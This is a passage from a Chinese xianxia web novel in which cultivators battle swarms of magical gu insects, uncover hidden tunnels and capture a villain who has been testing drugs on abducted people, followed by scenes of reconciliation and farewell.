诚然,为了杜绝任何可能出现的意外情况,避免有人通过尸体察觉到某些不应该被发现的秘密,在决定舍弃此人之际,会先给他(她)喂食慢性毒药。 紧接着,取出身上的雌蛊,同时将食人蛊引入其体内。 食人蛊一旦进入人体,便如饿狼扑食般疯狂啃噬着肌肉,贪婪地吮吸着鲜血。 为了确保食人蛊不会逃窜出体外,施蛊者残忍地封闭住这个人的五官七窍。 如此一来,就算食人蛊最终死亡,也只能永远被困在这具躯壳之内。 这般缜密的手段,即便日后有人发现了这些尸体,也只会得出两种结论:要么认定这些人是死于食人蛊之下;要么推测他们是因身中剧毒而命丧黄泉。 至于他们生前曾经饮用过的那些汤药,便无从查起了。 如果只是抓人来试药的话,根本不需要步步筹划,但倘若涉及到白榆人,那就是再谨慎也不为过。 那么按照邱漓最初所说的那般,在山上试药之人是格非的话,在山下散蛊之人就是那个术老板了。 这二人此时就不仅仅只是买卖关系,而是一条绳上的蚂蚱了。 所以格非会为了术老板打掩护,表面上是在说线索,而实际上说的都是一些无关紧要的东西罢了。 “还是先找找这儿有没有什么可以通往族长府的通道,你娴姐儿总不是被缩地阵传到这儿来的吧。”江洵说道。 缩地阵可是大手笔,十分耗费灵力。非必要不用,他可不认为格非会做这种事儿。 “所有雌蛊都在这儿了吗?”傅霖问道。 他们虽是跟着雄蛊找过来的,但他记得在瓶子里横冲直撞的雄蛊可不仅仅只是几只的数量。 还没等丘漓掏出琉璃瓶查看的时候,几人突然听到了一阵窸窸窣窣的声音。 这里太安静了,一点风吹草动地声音都能被无限放大。 “蛊虫!”邱漓立马对几人说道。 这是大量的蛊虫在地上爬行的声音,甚至还有带着翅膀飞的。 江洵回头向外望去,只见窗台处已经有几只蜈蚣爬了进来。 “先出去。”傅霖召出行野说道。 这间房间空间颇为局促,然而此刻身处其中的人数众多,彼此之间几乎难以顺畅移动,行动受到极大阻碍。 在此局面下,只听一声清脆的高呼:“我来开路!” 话音未落,邱漓身形如电,一个箭步便已冲到几人最前方。 只见她施展法术的十指快速的变换着,泛着紫色的灵力自其指尖源源不断地涌出,并迅速汇聚于她身体四周。 随着她的前行,灵力化作了一层无形无质但坚不可摧的护盾,凡其所经之地,所有蛊虫皆无法近身分毫。 与此同时,院子中央已然传来激烈的打斗声响。 江挽在听闻动静后的瞬间,毫不犹豫地拉起南宫娴的衣袖朝着门外疾驰而去。 邱漓目不转睛地盯着眼前密密麻麻的蛊虫,在一瞬间的怔愣后,随即恢复了表情。 而后,她果断地将手中紧握的琉璃瓶递到身旁的冬苓手中,同时低声嘱咐道:“姐姐先去找通道。” 此时,琉璃瓶内的雄蛊仍在不停地躁动挣扎着,显然意味着尚有其他雌蛊被囚禁在众人视线不可及的地方。 眼前的蛊虫是从墙外侵入而来,即便众人能够成功闯出此地,也未必就能确保绝对安全。 不过,如果能找到那条通往族长府邸的通道,情况或许会大为改观。 毕竟鸣蜩山的蛊虫,不会对自家主人发起攻击。 “好。”冬苓没有问为何交到自己手上,也没有说一起去找通道的话来浪费时间。 眼下情况紧急,她也只能相信且必须相信邱漓的判断。 毕竟,这是在鸣蜩山,这是邱漓的主场。 “还快出来护驾!难不成让本小姐请你们?”邱漓说话间拍了拍腰间的小壶。 本以为这壶不大,装的虫子不多,可其和乾坤袖的作用差不多,源源不断的蛊虫从中爬出,略过江洵等人,只攻击对方的蛊虫。 江洵的目光紧紧盯着地面上那些蠕动的虫子,右手不自觉的握紧了手中的献岁。 这些蛊虫形态各异,有的如蜘蛛般爬行,有的似蜈蚣般蜿蜒,还有的像蝎子一样张牙舞爪。 突然,一只蝎子向着傅霖扑去。 那人迅速侧身躲避,同时手中的长剑一挥,将蛊虫斩成两段。 一时间,院子里剑气纵横,蛊虫的尸体四处飞溅。 谁都不敢掉以轻心,尤其是南宫娴,她手背上的红肿都没有消下去,甚至有点发麻的趋势。 在这么下去,她持剑都成了问题。 江洵知道江挽虽然吃了药,但到了晚上视力定是不如白天,为了以防万一,一直站在江挽的身侧。 “别离开我身边太远。” 秦在锦高喊道,虽然他反应不如另外几人迅捷,但蛊虫它归根到底就是虫子! 本小章还未完,请点击下一页继续阅读后面精彩内容!那是虫子就有弱点!! “你别误伤啊!!!!”邱漓喊道。 她的宝贝们也都是虫子来的啊!!谁又比谁高贵了? “死不了死不了,你放心。”秦在锦宽慰道。 几人拖延时间的时候,冬苓顺着雄蛊的指引来到了一个看似厨房的地方,但其橱柜上摆放的并不是蔬菜,而是她认不清的药材。 蛊虫在一面墙前停了下来,墙上挂着三幅山水画,和当时他们在旅馆看到的那几幅十分相似。 冬苓犯了难,三幅画后面空空如也,可眼下容不得她去一个个测试开关的位置了。 刚想直接动手锤墙的时候又想到,他们就算进去了也得关上啊,不然那虫子不也跟着一起进来了? 到时候更难对付。 开关...... 开关...... 开关...... 她最烦这种动脑子的东西了。 等等!!!! 这油灯的样子怎么和另外一盏不太一样? 长时间使用的油灯,应该会有蜡油滴出来;不怎么使用的油灯,应该会有些许的灰尘。 可这一盏的底座却十分光滑,像是被人经常触摸一般。 管他的,死马当活马医吧,万一呢! 油灯被转动的瞬间,墙内发出了咯吱咯吱的声响。 好消息是找到了通道,坏消息是通道口有三个。 你瞅瞅,这不是害人嘛!!! 冬苓都要气笑了,她是什么大恶不赦之人吗? 怎么老天总喜欢跟她开这种玩笑。 罢了!选择权交给另外几人。 “在这儿!!!”冬苓冲着院中的几人喊道。 一行人听到冬苓的呼喊,二话不说的往这边跑来。 可身后蛊虫的移动速度也十分之快,当他们看到眼前有三个通道的时候已经来不及做决定究竟选哪个了。 于是,几人十分默契的拽着自己想护之人往通道里进。 人刚踏进去没多久,通道就关闭了。 江洵在确定安全后,喘了一口气后问道:“师父,方才可有伤到哪里?” 可他身后哪有什么师父。 只听耳畔传来一人的轻笑声,“师父有没有伤到不知道,师兄倒是狠狠伤到了。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第138章 有愧有怨 “傅霖???”江洵闻言,立即松开了那人的衣袖。 他本以为方才站在自己身侧的人是江挽,所以想也没想的就拽了进来。 这下可好,师父没护到,还给自己找了个麻烦。 “怎么?看到是我,师弟很失望?”傅霖说道。 这小兔崽子第一时间居然不是关心一下自己伤到了哪里? 江洵没有搭理他这句话,转身就要掏出火折子照明。 但刚掏出来就被傅霖一把抢走了,“有些虫子就爱往有光的地方去,你有没有点常识?老实点别动。” “我没常识,我还没文化,怎样?” 江洵嘴上虽这么说,但手上确实没有再做多余的动作。 二人就这么一前一后地摸索着前进。 “蕴灵。”傅霖低声说道。 “嗯。” “你刚刚是不是喊得我名字???”傅霖突然想起来。 江洵叹了口气,这人怎么那么多事儿。“又怎么了?不可以吗?” 又???又???? 傅霖听到这话就不乐意,怎么这话说的跟他是什么很爱找茬的人一样。 “你以前都喊我师兄的。” “以前年纪小,不懂事儿。你是一阁的弟子,算起来,倒也不能喊你师兄。” 傅霖很不满意这个回答,咬牙切齿道:“那怎么就可以喊乔诀师兄了?他不是二阁的弟子?” “乔师兄待我好,喊他师兄也是应该的。” 江洵紧盯着前方的亮光,没啥意外的话,估计再走一段时间就能出去了。 “我对你不好?” “你的好,不是伤筋动骨,就是皮开肉绽。” 他不提不代表他忘记了。 他长这么大以来受过最重的伤是傅霖给的。 那时的傅霖于他来说,像喝不完的中药,苦涩的味道充斥着口腔,弥漫在周身。 身后之人闻言,停下了脚步。 “对不起,那日是我气不过,不该迁怒于你。” 江洵转过身去,看着垂着头道歉的傅霖,忽然笑了。 气不过温如玉动不动就使唤他? 还是气不过温如玉没有提前询问他的意见? 总不能是气不过自己没有同他好好打招呼吧。 “傅霖,对不起并不能抚平我的委屈,即便我知你也有苦衷。” 昏暗的光线看不清二人此刻的表情,整个通道里只有他们此起彼伏的呼吸声。 一个心里有愧,一个心里有怨。 是圆滑的人开始哑口无言,是敏感的人逐渐字字珠玑。 二人就这么沉默着向前走去,在离出口还有一段距离的时候,傅霖伸手拽住了江洵的衣袖。 “那要怎样才能呢?” 怎样才能抚平你的委屈? 让你日后想起我来,不再是苦涩的中药,而是占据味蕾的蜜糖。 这突如其来的一句话,犹如一道惊雷在江洵耳边炸响。 他以为方才的那段谈话已经结束了。 可傅霖冷不丁冒出的这句话,令他一时之间有些不知所措。 江洵直直盯着眼前的傅霖,试图从对方那深邃的眼眸中捕捉到一丝端倪,好弄明白他这番话究竟意欲何为。 是为了缓和“师兄弟”之间剑拔弩张的紧张关系? 亦或是纯粹出于好意,想要哄自己开心? 大抵是前者吧。 毕竟,在那个人的眼中,似乎永远都只有佼佼者才能入得了他的法眼。 而自己......从未拿过第一。 七月份的天本就炎热,地道里弥漫着一股沉闷而燥热的气息,仿佛要将人的呼吸都一并吞噬。 豆大的汗珠顺着江洵的脖颈不断滑落,很快便浸湿了他领口处的衣衫。 傅霖忽然注意到少年那微微滚动的喉结下方,藏着一颗红痣。 虽然不起眼,但就是让人忍不住想要多看几眼。 他不由自主地伸出右手,缓缓朝着江洵的脖子靠近。 当他的拇指终于触碰到那颗红痣时,一时间,两个人都愣住了。 江洵满脸惊恐地望着眼前的傅霖,身体更是因为过度震惊而变得僵硬无比,甚至连动都不敢动一下。 “你......你干什么?” 太反常了,他今天也太反常了。 不会是有什么蛊虫钻他身上了吧? 一会儿得找邱漓给他看看。 这也太可怕了。 “哦,我以为这是蛊虫呢,原来是痣啊。”傅霖面不改色的说道。 “就是蛊虫!”邱漓看着南宫娴手背说道。 绝对不可能是蚊子咬的,蚊子咬的顶多会留个包,但这不仅红肿发麻,最开始还导致南宫娴昏迷不醒。 如此看来,极有可能是鸣蜩山的羌蛊,长相同蚊子差不多,不过体型会更小一些。 “致命吗?”南宫娴看着邱漓说道。 她还年轻,她还有许多事没有完成,可不能这个时候死。 方才匆匆忙忙逃离的时候,本想拽着秦在锦的,可那小子拉着冬苓撒丫子就跑,等她反应过来的时候身旁只有邱漓和江挽了。 算了,能拉一个是一个,先进去再说。 这章没有结束,请点击下一页继续阅读!现在看来,这决定还不算太坏,秦在锦虽是医者,但对蛊虫的了解定然是没有眼前这个小姑娘懂得多。 邱漓听她这么问,失声笑了,她还以为这姐姐是不怕死的性子呢。 “放心吧,死不了。你先赶紧把这颗清毒丸吞下去,我再帮你把手背上的毒素清除掉。” 她们进来的这条通道应该就是平日里频繁使用的那一条。 只见两侧的墙壁上整齐地悬挂着一盏盏油灯,昏黄的灯光虽然不算明亮,但丝毫不会影响到人的视线。 邱漓一只手轻轻托起南宫娴的手背,另一只手则紧紧握住一把锋利无比的小刀。 而后,说道:“稍微忍一下。” 话音未落,手中的小刀便毫不犹豫地划过南宫娴那已经红肿不堪的皮肤。 刹那间,一阵突如其来的剧痛袭来,疼得南宫娴不由自主地深深吸了一口气。 原本那块受伤的地方就已经疼痛难忍,现在又被硬生生地划开一道口子,这种痛苦简直难以言表。 南宫娴甚至萌生出想要直接把这只手砍掉的念头,心想要不一了百了得了。 “别乱动!” 暗红色的血液开始缓缓从伤口处流淌而出。 定睛细看之下,可以发现血液之中隐藏着一根细小如发丝的尖刺。 这正是羌蛊用于传播毒素的尾刺,其类似于蜜蜂的蛰针。 只不过对于羌蛊而言,这尾刺是可以再生的。 “大姐,很疼,很难不动。”南宫娴虽然嘴上这么抱怨,但那只手确实没再动过。 “大姐???人小姑娘才八岁,快能当你闺女了。”江挽站在俩人身前,冷不丁的说道。 南宫娴一听这瞬间提高了音量,“八岁????你吃什么长大的你八岁???” “不知道格非给她吃的什么药。”江挽回道。 “个杀千刀的。”南宫娴暗骂了一声。 “真该死啊!”秦在锦看着俩人眼前的蜈蚣,不是说通道里是安全的吗??? 这安全在哪里??这个数量就差把他俩生吃了。 “锦哥儿,答应我,下次这种好事儿您自己来可以吗?”冬苓已经没有心情吐槽了。 她想跟着江挽走的,可没等她有所动作就被秦在锦拽进来了。 万一江挽在通道里有个三长两短,她怎么跟大哥交代? 天老爷,让蛊虫来咬死我吧!!!! “对不起冬苓,我不知道这个通道是危险的,我要是早知如此,肯定拉江洵了。” 秦在锦满怀愧疚的道歉。 “对不起有用的话,要中律司干什么?再说了也不怪你,我要是不愿,就是八个你都拉不走我。” 冬苓知道秦在锦也是担心她,而且当务之急还是尽快解决这些令人厌烦的虫子。 她深吸一口气,稳定心神,而后抬起双手,口中念念有词:“荆棘——生!” 随着口诀的响起,一股强大的灵力自她体内涌出,并迅速汇聚至掌心。 刹那间,无数尖锐如针尖般的荆棘以肉眼可见的速度从四面八方疯狂生长出来,它们相互交织、缠绕,形成了一道密不透风的荆棘屏障。 那些原本在墙壁和地面上肆意爬行的蛊虫,在遇到这突如其来的障碍后,顿时乱作一团。 荆棘的尖刺无情地刺穿了它们柔软的身躯,让这些蛊虫毫无还手之力,只能在痛苦的挣扎中渐渐死去。 可尽管地面和墙壁上的蛊虫已得到有效遏制,但仍有一些在空中飞舞的蛊虫逃过一劫。 冬苓叹了口气,她的风止令要是再厉害一些就好了,绝对能做到一击必杀。 秦在锦见状,掏出一把种子撒在地上,而后双手快速掐动法诀,低声喝道:“落霞——缚!” 话音未落,种子在眨眼间争先恐后地破土而出。 在长成藤蔓后,迅速绽放出娇艳欲滴的花朵。 而当花瓣完全展开之际,如同一张张大嘴一般,猛地将那些在空中飞舞的蛊虫一口吞下。 随后,花瓣又迅速合拢,将蛊虫紧紧包裹其中,使其再也无法逃脱。 趁着这个间隙,冬苓撤回荆棘,拽着秦在锦就往前跑。 随着不断深入,蛊虫数量也逐渐变得稀少起来。 不仅如此,这些蛊虫似乎也失去了原有的攻击性。 当看到他们将要靠近时,纷纷惊慌失措地朝着墙边逃窜,然后紧贴在墙上,一动也不动。 通道通向了三个截然不同的地方。 第一条通道,径直延伸至厨房,而具体位置,巧妙地隐藏在了灶台下。 灶台内部是崭新的,而外部却像是用了许久,所以检查时被众人直接忽略掉了,压根儿没想到那灶台内暗藏玄机。 第二条通道,一直通向后院,那有一棵需要两人合抱才能围拢起来的白果树。 这棵树的树身是中空的,若是凑近观察,还能发现树身上有着细微的裂缝。 若非刻意寻找,恐怕很难察觉到这条隐蔽的通道出口。 第三条通道,直直地通往府外,那座破旧不堪又四面漏风的小茅屋。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!也许正是由于它过于平凡无奇的外表,以至于当时哪怕远远瞧过一眼也没人起疑心。 当江洵和傅霖顺着通道一路摸索着走出来的时候,他们不禁面面相觑,脸上露出了一抹疑惑又无语的表情。 这哪里像是什么精心筹备的暗室啊? 这分明就是一处摇摇欲坠的危房! 只要风力稍大一些,这座小茅屋随时都会轰然倒塌。 难道就不能给暗道最起码的尊重? 它不要面子的吗? “我师父她们估计是在族长府,咱们先溜过去。”江洵说道。 二人顺着昨日来时的路,往前走着,等走到附近的时候看到了正在巡逻的五哥。 而且,今日巡逻的人似乎比昨日还要多上两倍。 看来格非是将能用的上的人都安置在这里了,难怪那药宅一个管事儿的都没有。 “走吧。”傅霖率先召出行野剑走上前去。 嗯????? 江洵皱着眉头看着眼前的傅霖,他就这么大大咧咧的进去? 罢了,既然已经撕破脸了,也没必要再装模作样了。 五哥非常眼尖的认出了这二人,只见他微微偏过头去,压低声音对着身边的几个弟兄快速低语了几句。 话落,他猛地吹响了一声清脆而响亮的口哨,眨眼之间,赶来了一批人。 而站在五哥身旁的那个人却趁着这个间隙,悄无声息地溜进了院子里,显然是想要去通风报信。 可这几人哪里是他们的对手,二人视线对上的瞬间,便已知晓对方的打算。 只见其中一人手持长刀,刀光闪烁间,将那些难缠的蛊虫纷纷斩于刀下。 另一人则手握长剑,身形灵动如鬼魅,直冲向那群操控蛊虫的人。 一时间,刀光剑影交错纵横,喊杀声响彻云霄。 再把目光投向院内,那个前去报信的人刚刚关上院门,还没走出几步远,突然听到一阵异样的响动。 左携心中一惊,急忙停下脚步,顺着声音传来的方向望去。 这不看不要紧,一看之下,他整个人都呆住了。 “哈?????” 左携瞪大了双眼,嘴巴张得几乎可以塞下一个鸡蛋。 他满脸惊愕地望着眼前的景象,这棵树居然能够藏人?而且还是三个大活人? 不对,她们是啥时候进去的???? 他刚来这里谋事不久,所以对于这座院子里隐藏的通道一无所知,自然也就不清楚药宅一事。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第139章 阎王告状 五哥同他说族中出了个叛徒的时候他还不以为意,当说那人是邱漓的时候他才觉得有些不可思议。 不是对“邱漓是叛徒”这件事儿感到不可思议,而是五哥居然把邱漓当做是族中之人。 因为这身份不明、来历不明的女娃娃不是刚来鸣蜩山没多久么? 她算哪门子的叛徒,指不定来的这群人才是她家里人呢! “你你你!!!你到底是哪边的?”左携指着邱漓问道。 “我我我!!!我自然是这边的!”邱漓拽着江挽的胳膊回道。 “你等着!!!”左携冷哼一声就往格非楼梯口跑去。 南宫娴有些不理解这俩人的对话,甚至不理解那人的意图。 难道不应该先拔剑冲上来过两招吗?撒丫子就跑是几个意思?去找帮手啊? 可不等他跑到哪里,江挽一个箭步上前,拦住了他的去路。 “嘘,乖一点。”江挽冷声道。 星回稳稳地架在了左携的脖颈一侧,冰冷的触感让他瞬间毛骨悚然,连大气都不敢出一口。 想要点头表示顺从时,脑海中又闪过一个念头——万一自己点头的时候没控制好力度,不小心撞到了那刀刃上可如何是好? 江挽并不知道左携在这里扮演着怎样的角色,更不清楚他的手上是否沾有人命。 于是,她只好先把左携击昏过去,以免节外生枝。 待一切处理妥当之后,江挽迅速朝南宫娴递去一个眼色,暗示她先行上楼查看情况。 三人小心翼翼、蹑手蹑脚地踏上楼梯,一步步朝着二楼靠近。 “四人,其中一人灵力高超,剩下的三人属于中等偏上的水准。” 江挽压低声音说道。 “好。”南宫娴轻声应道。 她没有追问江挽是如何得知楼上人数,只是谨慎地将右手缓缓搭在了身侧剑柄之上,做好了随时应对突发状况的准备。 江挽扭头看了一眼跟在身后的邱漓,接下来要面对的是活生生的人,而非那些蛊虫,不知道这小丫头能否应付得来呢? 正当她想着要不让邱漓找个安全的地方躲藏起来时,只见邱漓用口型无声地说着:“我可以,别担心。” 南宫娴走在最前,眼瞅着就要抵达楼梯口时,她突然预感到了什么,猛地停下脚步。 只见墙的一侧,隐隐约约有个人影晃动! 很显然,此人正在等待着她们一步步走上楼梯。 也许是察觉到楼梯上原本传来的脚步声戛然而止,那个人影瞬间变得警觉起来。 刹那之间,只见数道寒光从房间内疾驰而出,如同闪电一般朝着江挽等人飞射而来。 定睛一看,是数十把锋利无比的飞刀! 说时迟那时快,南宫娴眼疾手快地转动起手中的长剑,剑身在空中划出一道道优美的弧线,准确无误地将那些来势汹汹的飞刀一一击落。 而就在这短暂的交锋间隙里,格非等人从房中闪出,一个敏捷的翻身便从楼道中纵身跃出,稳稳当当地落在了院子当中。 江挽目光死死地盯住格非的身影,几乎在同一时刻,她身形一晃,如离弦之箭般疾速向前冲去。 只见她反手握住星回,以迅雷不及掩耳之势朝着格非的脖颈处刺去。 眼看剑尖就要触及到格非的咽喉,千钧一发之际,格非展现出惊人的柔韧性和敏捷度,一个利落的弯腰动作,险之又险地避开了这致命一击。 “怎么连个招呼都不打?” 格非直起身躯,一边向后拉开与江挽的距离,一边回过头来笑嘻嘻地调侃道。 江挽对她的话语置若罔闻,毫不留情地再次发动攻势,步步紧逼,每一招都凌厉异常,直取格非身上的要害部位。 尽管格非并不擅长近身搏斗,但她的反应速度却是超乎常人。 面对江挽狂风暴雨般的攻击,她左闪右避、腾挪躲闪,虽然显得有些狼狈,但数十招过后,仅仅只是手臂被擦伤了一点皮而已。 南宫娴原本想着去帮江挽,但此刻却被另外两人死死缠住,根本无法抽身而出。 与此同时,邱漓果断地选择应对另一名敌手。 这三个人事先并未经过任何商议,眼下也只好各自为战,尽可能避免发生拖后腿的情况。 眼瞅着江挽即将成功得手,南宫娴突然高声喊道:“我要抓活的!” 听到这句话后,江挽不禁“啧”了一声,表示出些许不满与无奈。 然而此时的格非却是嘴角微微上扬,流露出一丝不易察觉的笑容。 她趁江挽尚未收回攻势之时,迅速抬起手臂,刹那间一只体型硕大、通体漆黑的蝎子从她的衣袖之中猛然钻出,径直朝着江挽的手背疾驰而去。 而后,右手更是在眨眼之间由拳化为掌,带着凌厉的劲风狠狠地将星回击飞到半空之中。 仔细再瞧星回掉落的方向,不难看出是朝着南宫娴所处的方位呼啸而去。 显然,格非企图借此一招达成一箭双雕的目的。 不过,她的如意算盘最终还是落了空。 这章没有结束,请点击下一页继续阅读!面对来势汹汹的星回,南宫娴反应极为敏捷,只见她身形一闪,紧接着便是一记力道十足的飞踢. 而不远处的江挽在解决掉蝎子后,稳稳地伸手接住了被击飞回来的星回。 二人之间的配合简直天衣无缝,渐渐掌控住了局面,开始占据上风。 “你叫什么名字?”格非歪头问道。 江挽挑了下眉,“怎么?想去阎王那告我?” 话落,便面色从容,不慌不忙地将星回收拢进衣袖之中。 紧接着,那白皙的右手轻轻移动到腰间,以一种极其巧妙的手法反手猛然一抽! 刹那间,伴随着一声清脆悦耳、宛如凤凰争鸣般的响声骤然响起。 一把薄如蝉翼、异常轻盈的软剑出现在了她的手中。 周身闪烁着冰冷的寒光,仿佛能够瞬间穿透人的灵魂,而剑身之上,则精心镌刻着两个娟秀清雅的小字——少微。 平日里,江挽并不经常使用剑作为武器。 一来是由于自身的体力相对较弱,二来则是因为灵力受限,难以长时间支撑起这种具有较大消耗性的兵器。 相较而言,星回不仅小巧玲珑、易于操控,而且在战斗时所耗费的灵力较少,对于追求速战速决的她来说,无疑是最为理想的选择。 因此,久而久之,少微便长年累月地盘绕在她的腰间,很少有机会得以出鞘一展锋芒。 此时,站在对面格非心中不禁暗暗叫苦。 她甚至觉得自己挑错了对手。 她知道江挽并未外表那样文弱,但也没想到这女人竟有一种平静地疯感! 就和她手中握的那把少微剑一样,看似柔顺绵软,可一旦发起攻击,却又十分凌厉迅猛,让人根本无法捉摸其出招的套路和轨迹。 正当格非想要抽身向后撤退暂避其锋芒之际,只见江挽手腕一抖,少微剑犹如一条灵动的毒蛇,朝着格非直刺而去。 眨眼之间,剑尖已然触及到了格非的后背,惊得她浑身一颤,冷汗直流。 好险好险...... 当她以为江挽要再进一步的时候,那人却又向后退去,给她时间喘息。 这种感觉就像是在......戏耍??? 可那人眉眼间的神情又实在清冷,让人根本看不出她的恶作剧。 又过了几招后,江挽猛的后退,利索的将少微收回鞘中。 等格非反应过来时,眼前的对手已经换成了南宫娴。 江挽就是在拖时间,等着南宫娴将那人拿下后,再由继续对付格非。 毕竟她可不知道南宫娴究竟想要抓什么样的“活的”,这种吃力不讨好又拿捏不好分寸的事儿还是让南宫娴自己来做。 再看另一边的邱漓,尽管之前信誓旦旦地让江挽放心,但当真正面对一个身强力壮且有经验的成年人来说,还是有些吃力。 只见那人挥舞着锋利的长剑,如饿虎扑食般朝着邱漓猛刺过来。 刚刚放出去的蛊虫还要再等上片刻才能引发毒素蔓延全身,她现在能做的就是尽可能的消耗那人的体力,让蛊毒在体内加快流动。 邱漓左躲右闪,身形敏捷地避开一次次致命攻击,可时间拖得越久,呼吸也变得愈发急促。 就在千钧一发之际,邱漓的耳畔忽然响起了冬苓的声音:“止!” 刹那间,一阵疾风呼啸而过,如同一只无形的大手紧紧握住了敌人的长剑。 原本气势汹汹向前突进的长剑瞬间被稳稳地钉在了原地,任凭对方如何用力都无法移动半分。 “退后!” 冬苓一声令下,还愣在原地的邱漓如梦初醒般迅速向后退去。 与此同时,冬苓稳步上前,右手轻轻一挥,一条犹如枯枝一般却又长满荆棘的长鞭出现在她手中——碎月。 “欺负我们家小孩儿算什么本事?有能耐来跟我过上两招!” 冬苓冷哼一声,手中的碎月仿佛感受到主人的愤怒,带着凌厉的风声向着那个成年人疾驰而去。 密密麻麻的荆棘瞬间疯长,宛如一头凶猛的野兽露出獠牙。 这要是被击中,恐怕会当场皮开肉绽、鲜血淋漓。 此时,那人也察觉到情况不妙。 他好不容易重新夺回对长剑的控制权,连忙举起试图挡住冬苓的一击。 然而,由于先前手臂被邱漓所放的蛊虫咬伤,此刻伤口处突然传来一阵剧痛,使得他的动作稍稍迟缓了片刻。 就是这短暂的一瞬之差,决定了这场交锋的胜负。 只见碎月如藤蔓一般迅速缠住了那人的长剑,并以惊人的速度一圈又一圈地紧紧缠绕上去。 紧接着,伴随着一声清脆的响声,那把精钢打造而成的长剑硬生生地被勒成了碎片! 剑碎的同时,他身体的毒素也已遍布全身,不等冬苓有所动作,就已经咽了气。 “锦哥儿呢?”邱漓问道。 “他发现雄蛊有所躁动,而我又听到打斗的声音,于是兵分两路,他去找雌蛊,我来这儿支援。”冬苓解释道。 本小章还未完,请点击下一页继续阅读后面精彩内容!“好的,方才多谢姐姐出手相助。”邱漓有些不好意思的抠了抠手。 她本不想麻烦别人,所以想着自己解决,想着再多撑一会儿,可感觉还是添了麻烦。 冬苓自然瞧得出这孩子的局促,伸手摸了摸她的头,说道:“是你自己救了自己,要谢也是跟自己道谢。” 冬苓能分辨的出那人是中毒死的,肯定是在她来之前就中毒了,所以这并不能算是冬苓救下的她。 “走,去看看挽姐姐。”冬苓牵着邱漓的手向外走去。 而此刻门外的江洵和傅霖也解决掉那一批人,正开门朝院中走来。 进门看到的就是被捆起来的格非,由于怕她突然使坏,连绑她的绳子都是上等的捆灵索。 “瞅瞅我多疼你啊!换了旁人我都不舍得给他用。”南宫娴打结的时候说道。 格非听到这句话冷笑一声,“是不是还应该同姐姐说声谢谢?” “欸!说什么谢谢啊,见外了不是!”南宫娴拍了拍格非的后背,肩胛骨那处有个伤口,一掌下去血糊了一手。 南宫娴不紧不慢的掏出帕子,垂眸擦了擦手。 这一抬头就看到了那俩人,“呦!来了。” 傅霖气定神闲地抬了下手,也算是打过招呼了。 “可有问出什么?”江洵问道。 “一问三不知,打算带回中律司去审。”南宫娴说道。 到了中律司,再嘴硬的人也得吐点金水出来。 当凤鸣声伴随着信号升空,也就意味着鸣蜩山和蒲月山庄的任务一并结束了。 “这就结束啦????那些被抓来试药的人怎么办?”秦在锦从一个角落里走出来,拍着身上的灰尘说道。 “人同这里的药材会一并带回中律司,届时去你们阳春门请几个药师过来一并研究研究,瞧瞧都是些什么症状。”南宫娴说道。 “如此一来,倒也妥当。” 秦在锦点了点头,随后又想到什么,继续说道:“就是不知道那个术老板......” 南宫娴闻言摆了摆手,示意道:“放心,到时候会加派人手在这儿守一段时间,若是遇到可疑的人即刻拿下。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第140章 路上小心 其实她对格非抓人试药的目的大概也能猜出一二,很有可能和白榆人有关,既如此,便不能有丝毫大意。 这儿的一切都得带回中律司一一检查,至于人也得带回中律司逐个审问。 “小孩儿,要跟我回中律司吗?”南宫娴面带微笑,轻声地询问着眼前的邱漓。 邱漓想都没想,果断回答道:“不回!” 她可是牢牢记住了冬苓曾经说的那些话——中律司现如今绝非善地。 而且,她已经下定决心,要跟随江洵等人,好好修炼。 也是今天她才发现,依靠巫蛊之术很难去救更多的人。 她想这世间再无深塘坞。 当南宫娴将任务成功信号发送出去之后,又写了一封信给就近的青州中律司,让他们加派人手过来帮忙。 一个时辰后,来接应的弟子便已经纷纷抵达至鸣蜩山。 眼看着周围不再存在隐患的危险,江挽才放心地带着江洵等人离去。 临行之前,南宫娴突然语气温柔地说道:“代我向她问好。” 江挽没有回头,也没有应声,只是随意地挥动了一下手臂,表示自己已经知晓。 沿着这条路缓缓而下,当途经邱漓这半年居住的地方时,她停下了脚步。 她想,她应该去好好地同婆婆道个别。 于是,她轻轻地推开院门,走进院子里。 甫一进门,视线便被院中的忙碌的身影所吸引。 今日的天气格外晴朗,明媚的阳光洒落在地上,仿佛给整个庭院披上了一层金色的纱衣。 邱漓静静地站在原地,看着婆婆的背影,不禁有些鼻酸。 她向来都是个闲不住的人,每日里总会想方设法给自己找些事情做,似乎永远不知疲倦。 邱漓可以说是她养在跟前儿消磨时间的,她说上了年纪的人总是怕孤单。 “我来吧。” 邱漓快步走上前去,伸手搀扶起婆婆,引导着她坐到一旁的凳子上歇息。 婆婆虽然年事已高,但头脑却依然清晰敏锐,对于邱漓即将离去的事实心知肚明。 她缓缓抬起头,目光投向门口处站立着的那几个朝气蓬勃的年轻人,不免有些感慨。 如果时光能够倒流,如果自己能年轻一些,再年轻一些,她是否也有勇气收拾好行囊,跟着他们一起走呢。 可岁月已经在她身上留下了太多痕迹。 是昏花模糊的双眼,是佝偻弯曲的脊背,是疼痛难忍的双腿。 莫说是闯荡江湖,就连走出鸣蜩山都是奢望。 所以她对邱漓倾囊相授,不是想让她成为鸣蜩山最出色的蛊师,而是想让她拥有自保以及保护他人的能力。 她希望邱漓可以走的远一些,可以飞的高一些,当然,她得是快乐的。 只是没想到,分别的时刻竟来的这般快,这般令人猝不及防。 邱漓平日里穿的衣服并不多,大多都是婆婆同村里其他姑娘家借的。 有些衣服穿在邱漓身上并不是很合身,但恰恰是这种不合身的感觉反而让邱漓觉得踏实。 越是合身的衣服越容易让她适应这里的环境和身份,她怕时间一长,就忘了来时的路,忘了自己是谁。 “婆婆……我……我要跟着他们去学本领啦!您放心,他们都是好人,曾经救过我的村子,如今还救了我,您说这巧不巧?” 邱漓蹲下身子,轻柔地捧起婆婆那布满皱纹、犹如枯树皮一般的双手,然后便开始滔滔不绝地自言自语起来。 她想多说一些话,多逗婆婆笑,这样等婆婆闲下来之时,回想到自己的那一刻是开心的。 “婆婆,您要照顾好自己,别太操劳,我有时间一定会回来看您的,到时候带上我阿姐一起!” 说到阿姐,邱漓不由自主的笑了。 “对了,婆婆还不知道我有个阿姐呢,她是世界上待我最好的人!” “你们都像太阳,很温暖,让我觉得心安的那种温暖。” 一大一小的身影被阳光拉的长长的。 微风轻轻地吹拂而过,撩动着她们一黑一白的发丝,仿佛在低声诉说着离别的愁绪。 